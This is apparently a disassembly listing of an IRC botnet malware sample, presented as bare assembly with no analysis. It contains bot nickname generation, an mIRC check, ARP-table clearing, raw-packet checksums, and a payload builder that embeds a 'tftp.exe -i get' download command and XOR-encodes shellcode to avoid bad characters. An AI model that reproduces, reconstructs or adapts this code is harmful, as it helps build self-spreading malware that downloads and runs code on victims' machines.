		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40AC84:				; CODE XREF: sub_40A9CC+28Aj
		cmp	dword_4E31AC, esi
		jz	short loc_40ACB8
		push	dword_4E31B0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h

loc_40ACB8:				; CODE XREF: sub_40A9CC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_44421C
		push	eax
		call	sub_41EA60
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40ACE5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_40ACE5:				; CODE XREF: sub_40A9CC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415A3C
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A9CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		jz	loc_40AD8C
		push	offset dword_4E31C4
		push	dword ptr [ebp+8]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AD8C
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41E510
		lea	eax, [ebp-20h]
		push	offset a___1	; ".."
		push	eax
		call	sub_41F870
		add	esp, 14h
		test	eax, eax
		jz	short loc_40AD8C
		push	eax
		call	sub_41E710
		mov	dword ptr [esp], (offset a___1+2)
		push	0
		mov	esi, eax
		call	sub_41F870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AD8C
		push	eax
		call	sub_41E710
		cmp	esi, 0Ah
		pop	ecx
		jz	short loc_40AD87
		cmp	esi, 0ACh
		jnz	short loc_40AD78
		cmp	eax, 0Fh
		jle	short loc_40AD8C
		cmp	eax, 20h
		jl	short loc_40AD87

loc_40AD78:				; CODE XREF: .packed:0040AD6Cj
		cmp	esi, 0C0h
		jnz	short loc_40AD8C
		cmp	eax, 0A8h
		jnz	short loc_40AD8C

loc_40AD87:				; CODE XREF: .packed:0040AD64j
					; .packed:0040AD76j
		xor	eax, eax
		inc	eax
		jmp	short loc_40AD8E
; ---------------------------------------------------------------------------

loc_40AD8C:				; CODE XREF: .packed:0040AD02j
					; .packed:0040AD19j ...
		xor	eax, eax

loc_40AD8E:				; CODE XREF: .packed:0040AD8Aj
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD91	proc near		; CODE XREF: sub_4019A5+4Fp
					; sub_401C87+5D52p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADB9
		push	[esp+arg_0]
		call	dword_4E310C	; gethostbyname
		test	eax, eax
		jnz	short loc_40ADB2
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40ADB2:				; CODE XREF: sub_40AD91+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADB9:				; CODE XREF: sub_40AD91+Dj
		retn
sub_40AD91	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADBA	proc near		; CODE XREF: sub_4019A5+D6p
		mov	ecx, dword_4E2FA4
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40ADC8
		jmp	ecx
; ---------------------------------------------------------------------------

locret_40ADC8:				; CODE XREF: sub_40ADBA+Aj
		retn
sub_40ADBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADC9	proc near		; CODE XREF: sub_401C87:loc_4040CBp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4E3104	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AE95
		sub	ecx, 32h
		jz	loc_40AE8E
		sub	ecx, 48h
		jz	short loc_40AE29
		sub	ecx, 6Eh
		jz	short loc_40AE22
		push	eax
		push	offset unk_444240

loc_40AE11:				; CODE XREF: sub_40ADC9+91j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	short loc_40AE6F
; ---------------------------------------------------------------------------

loc_40AE22:				; CODE XREF: sub_40ADC9+40j
		push	offset unk_44426C
		jmp	short loc_40AE61
; ---------------------------------------------------------------------------

loc_40AE29:				; CODE XREF: sub_40ADC9+3Bj
		push	[ebp+var_8]
		call	sub_41BE40
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41E4B0
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE5C
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4E3104	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40AE95
		push	eax
		push	offset unk_444290
		jmp	short loc_40AE11
; ---------------------------------------------------------------------------

loc_40AE5C:				; CODE XREF: sub_40ADC9+79j
		push	offset unk_4442BC

loc_40AE61:				; CODE XREF: sub_40ADC9+5Ej
					; sub_40ADC9+CAj
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_40AE6F:				; CODE XREF: sub_40ADC9+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415A3C
		pop	ecx

loc_40AE7F:				; CODE XREF: sub_40ADC9+CEj
					; sub_40ADC9+E2j
		push	esi
		call	sub_41C9D0
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AE8E:				; CODE XREF: sub_40ADC9+32j
		push	offset unk_4442EC
		jmp	short loc_40AE61
; ---------------------------------------------------------------------------

loc_40AE95:				; CODE XREF: sub_40ADC9+29j
					; sub_40ADC9+89j
		cmp	[esi], edi
		jbe	short loc_40AE7F
		lea	ebx, [esi+4]

loc_40AE9C:				; CODE XREF: sub_40ADC9+E0j
		push	ebx
		call	dword_4E3100	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AE9C
		jmp	short loc_40AE7F
sub_40ADC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEAD	proc near		; CODE XREF: sub_401C87+21EBp
					; sub_401C87+2322p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E302C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4E31B4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41EA60
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF06	proc near		; CODE XREF: .packed:0040C75Bp
					; sub_4133AE+24Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40AF31
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]

loc_40AF24:				; CODE XREF: sub_40AF06+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_40AF24
		pop	edi
		jmp	short loc_40AF35
; ---------------------------------------------------------------------------

loc_40AF31:				; CODE XREF: sub_40AF06+Aj
		mov	esi, [esp+4+arg_0]

loc_40AF35:				; CODE XREF: sub_40AF06+29j
		test	ecx, ecx
		jz	short loc_40AF3E
		movzx	eax, byte ptr [esi]
		add	edx, eax

loc_40AF3E:				; CODE XREF: sub_40AF06+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF06	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp-4], esi
		jle	short loc_40AF85
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi

loc_40AF77:				; CODE XREF: .packed:0040AF7Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_40AF77
		pop	edi
		cmp	ecx, 1

loc_40AF85:				; CODE XREF: .packed:0040AF69j
		jnz	short loc_40AF92
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax

loc_40AF92:				; CODE XREF: .packed:loc_40AF85j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AFAB	proc near		; CODE XREF: sub_40B38F+4Ap
					; DATA XREF: .packed:off_444338o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		call	sub_41EB70
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_446DD0[edx*4]
		push	offset dword_44800C
		push	1Ch
		push	edi
		call	sub_41EC30
		xor	esi, esi
		add	esp, 14h
		cmp	dword_43F09C, esi
		jle	short loc_40B012

loc_40AFEC:				; CODE XREF: sub_40AFAB+65j
		call	sub_41EB70
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_448010
		push	1Ch
		push	edi
		call	sub_41EC30
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F09C
		jl	short loc_40AFEC

loc_40B012:				; CODE XREF: sub_40AFAB+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AFAB	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_43F136 ; "-"
		push	offset dword_448018
		push	1Ch
		push	edi
		call	sub_41EC30
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43F09C, esi
		jle	short loc_40B070

loc_40B04A:				; CODE XREF: .packed:0040B06Ej
		call	sub_41EB70
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_44801C
		push	1Ch
		push	edi
		call	sub_41EC30
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F09C
		jl	short loc_40B04A

loc_40B070:				; CODE XREF: .packed:0040B048j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B075	proc near		; CODE XREF: sub_401C87+6A68p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		call	sub_41EB70
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_43F09C
		test	esi, esi
		jle	short loc_40B0B8

loc_40B0A2:				; CODE XREF: sub_40B075+41j
		call	sub_41EB70
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40B0A2

loc_40B0B8:				; CODE XREF: sub_40B075+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B075	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, offset dword_448024
		mov	dword ptr [ebp-4], 100h
		xor	edi, edi
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	esi
		call	dword_4F5394	; GetComputerNameA
		test	eax, eax
		jnz	short loc_40B0F7
		mov	esi, offset dword_448028

loc_40B0F7:				; CODE XREF: .packed:0040B0F0j
		movsx	eax, byte ptr [esi]
		push	41h
		pop	ecx

loc_40B0FD:				; CODE XREF: .packed:0040B108j
		cmp	eax, ecx
		jnz	short loc_40B104
		xor	edi, edi
		inc	edi

loc_40B104:				; CODE XREF: .packed:0040B0FFj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40B0FD
		push	61h
		pop	ecx

loc_40B10D:				; CODE XREF: .packed:0040B118j
		cmp	eax, ecx
		jnz	short loc_40B114
		xor	edi, edi
		inc	edi

loc_40B114:				; CODE XREF: .packed:0040B10Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40B10D
		test	edi, edi
		jnz	short loc_40B123
		mov	esi, offset dword_44802C

loc_40B123:				; CODE XREF: .packed:0040B11Cj
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41EC30
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_43F09C, esi
		jle	short loc_40B162

loc_40B13C:				; CODE XREF: .packed:0040B160j
		call	sub_41EB70
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_448030
		push	1Ch
		push	edi
		call	sub_41EC30
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F09C
		jl	short loc_40B13C

loc_40B162:				; CODE XREF: .packed:0040B13Aj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4F5398	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_448038
		push	1Ch
		push	edi
		call	sub_41EC30
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43F09C, esi
		jle	short loc_40B1D7

loc_40B1B1:				; CODE XREF: .packed:0040B1D5j
		call	sub_41EB70
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_44803C
		push	1Ch
		push	edi
		call	sub_41EC30
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F09C
		jl	short loc_40B1B1

loc_40B1D7:				; CODE XREF: .packed:0040B1AFj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4E31C8
		mov	dword ptr [ebp-94h], 94h
		call	dword_4F539C	; GetVersionExA
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40B261
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40B241
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40B231
		mov	esi, offset dword_448044

loc_40B231:				; CODE XREF: .packed:0040B22Aj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40B29D
		mov	esi, offset dword_448048
		jmp	short loc_40B29D
; ---------------------------------------------------------------------------

loc_40B241:				; CODE XREF: .packed:0040B221j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40B251
		mov	esi, offset dword_44804C
		jmp	short loc_40B29D
; ---------------------------------------------------------------------------

loc_40B251:				; CODE XREF: .packed:0040B248j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40B298
		mov	esi, offset dword_448050
		jmp	short loc_40B29D
; ---------------------------------------------------------------------------

loc_40B261:				; CODE XREF: .packed:0040B218j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40B298
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40B27A
		mov	esi, offset dword_448054
		jmp	short loc_40B29D
; ---------------------------------------------------------------------------

loc_40B27A:				; CODE XREF: .packed:0040B271j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40B28A
		mov	esi, offset dword_448058
		jmp	short loc_40B29D
; ---------------------------------------------------------------------------

loc_40B28A:				; CODE XREF: .packed:0040B281j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_44805C
		jz	short loc_40B29D

loc_40B298:				; CODE XREF: .packed:0040B258j
					; .packed:0040B268j
		mov	esi, offset dword_448060

loc_40B29D:				; CODE XREF: .packed:0040B238j
					; .packed:0040B23Fj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_448064
		push	1Ch
		push	edi
		call	sub_41EC30
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43F09C, esi
		jle	short loc_40B2E1

loc_40B2BB:				; CODE XREF: .packed:0040B2DFj
		call	sub_41EB70
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_44806C
		push	1Ch
		push	edi
		call	sub_41EC30
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F09C
		jl	short loc_40B2BB

loc_40B2E1:				; CODE XREF: .packed:0040B2B9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2E7	proc near		; CODE XREF: sub_40B38F+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4F537C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B336
		push	offset aMirc_0	; "mIRC"
		call	dword_4E3094	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40B31F
		mov	eax, offset byte_4E31C9

loc_40B31F:				; CODE XREF: sub_40B2E7+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41EC30
		add	esp, 14h
		jmp	short loc_40B35B
; ---------------------------------------------------------------------------

loc_40B336:				; CODE XREF: sub_40B2E7+1Dj
		push	offset aMirc_1	; "mIRC"
		call	dword_4E3094	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_40B34F
		mov	eax, offset word_4E31CA

loc_40B34F:				; CODE XREF: sub_40B2E7+61j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_40B35B:				; CODE XREF: sub_40B2E7+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41BC70
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B38A
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41FAC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41E510
		add	esp, 18h

loc_40B38A:				; CODE XREF: sub_40B2E7+82j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40B2E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B38F	proc near		; CODE XREF: sub_4019A5+7Fp
					; sub_401B0B+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi

loc_40B398:				; CODE XREF: sub_40B38F+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_40B3B6
		lea	eax, aReal[esi]	; "real"
		push	eax
		push	[ebp+arg_C]
		call	sub_41F7E0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B3C4
; ---------------------------------------------------------------------------

loc_40B3B6:				; CODE XREF: sub_40B38F+Dj
		mov	ecx, dword_444334[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B3C4:				; CODE XREF: sub_40B38F+25j
		test	eax, eax
		jnz	short loc_40B3D3
		add	esi, 14h
		inc	edi
		cmp	esi, 78h
		jb	short loc_40B398
		jmp	short loc_40B3E1
; ---------------------------------------------------------------------------

loc_40B3D3:				; CODE XREF: sub_40B38F+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_444338[eax*4]
		pop	ecx

loc_40B3E1:				; CODE XREF: sub_40B38F+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B3F4
		push	[ebp+arg_0]
		call	sub_40B2E7
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B3F4:				; CODE XREF: sub_40B38F+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B38F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3F9	proc near		; CODE XREF: sub_40B419+Ap
					; sub_40B4F1+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41BC70
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41BC70
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B3F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B419	proc near		; CODE XREF: .packed:0040B551p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B3F9
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B436
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B436:				; CODE XREF: sub_40B419+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41BC70
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41BC70
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_44812C, eax
		lea	eax, [edi+1]
		mov	dword_44814D, eax
		lea	eax, [edi+17h]
		mov	dword_448145, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4480C8
		push	ebx
		mov	dword_44815B, eax
		call	sub_41FBF0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FBF0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41FBF0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41FBF0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41FBF0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41FBF0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_448151
		push	esi
		call	sub_41FBF0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B419	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4F1	proc near		; CODE XREF: .packed:0040B515p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B3F9
		push	eax
		call	sub_40B575
		add	esp, 0Ch
		retn
sub_40B4F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	edi
		mov	edi, [ebp+14h]
		push	edi
		push	ebx
		call	sub_40B4F1
		cmp	eax, [ebp+0Ch]
		pop	ecx
		pop	ecx
		ja	short loc_40B528
		cmp	eax, 0FFFFh
		jbe	short loc_40B52C

loc_40B528:				; CODE XREF: .packed:0040B51Fj
		xor	eax, eax
		jmp	short loc_40B571
; ---------------------------------------------------------------------------

loc_40B52C:				; CODE XREF: .packed:0040B526j
		push	esi
		push	edi
		push	ebx
		call	sub_40B3F9
		add	eax, 101h
		push	eax
		call	sub_41BE40
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B3F9
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B419
		push	eax
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B590
		push	esi
		mov	edi, eax
		call	sub_41C9D0
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_40B571:				; CODE XREF: .packed:0040B52Aj
		pop	edi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B575	proc near		; CODE XREF: sub_40B4F1+Ep
					; sub_40B590+47p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B57E
		inc	ecx

loc_40B57E:				; CODE XREF: sub_40B575+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B575	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B590	proc near		; CODE XREF: .packed:0040B55Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_C]
		cmp	dl, 0Ah
		jz	short loc_40B5AA
		cmp	dl, 0Dh
		jz	short loc_40B5AA
		cmp	dl, 5Ch
		jz	short loc_40B5AA
		test	dl, dl
		jnz	short loc_40B5AE

loc_40B5AA:				; CODE XREF: sub_40B590+Aj
					; sub_40B590+Fj ...
		inc	edx
		mov	[ebp+arg_C], edx

loc_40B5AE:				; CODE XREF: sub_40B590+18j
		push	esi
		mov	esi, 0FFh
		cmp	edx, esi
		jbe	short loc_40B5D6
		mov	eax, edx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B5CD
		cmp	al, 0Dh
		jz	short loc_40B5CD
		cmp	al, 5Ch
		jz	short loc_40B5CD
		test	al, al
		jnz	short loc_40B5D6

loc_40B5CD:				; CODE XREF: sub_40B590+2Fj
					; sub_40B590+33j ...
		add	edx, 100h
		mov	[ebp+arg_C], edx

loc_40B5D6:				; CODE XREF: sub_40B590+26j
					; sub_40B590+3Bj
		push	edx
		call	sub_40B575
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B5EC
		cmp	eax, 0FFFFh
		jbe	short loc_40B5F3

loc_40B5EC:				; CODE XREF: sub_40B590+53j
		xor	eax, eax
		jmp	loc_40B68E
; ---------------------------------------------------------------------------

loc_40B5F3:				; CODE XREF: sub_40B590+5Aj
		push	ebx
		mov	bl, byte_4E31CC
		xor	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_8]
		test	edx, edx
		jbe	short loc_40B620

loc_40B604:				; CODE XREF: sub_40B590+8Ej
		mov	al, [ecx+edi]
		xor	al, bl
		jz	short loc_40B617
		cmp	al, 0Ah
		jz	short loc_40B617
		cmp	al, 0Dh
		jz	short loc_40B617
		cmp	al, 5Ch
		jnz	short loc_40B61B

loc_40B617:				; CODE XREF: sub_40B590+79j
					; sub_40B590+7Dj ...
		inc	bl
		xor	ecx, ecx

loc_40B61B:				; CODE XREF: sub_40B590+85j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40B604

loc_40B620:				; CODE XREF: sub_40B590+72j
		cmp	edx, esi
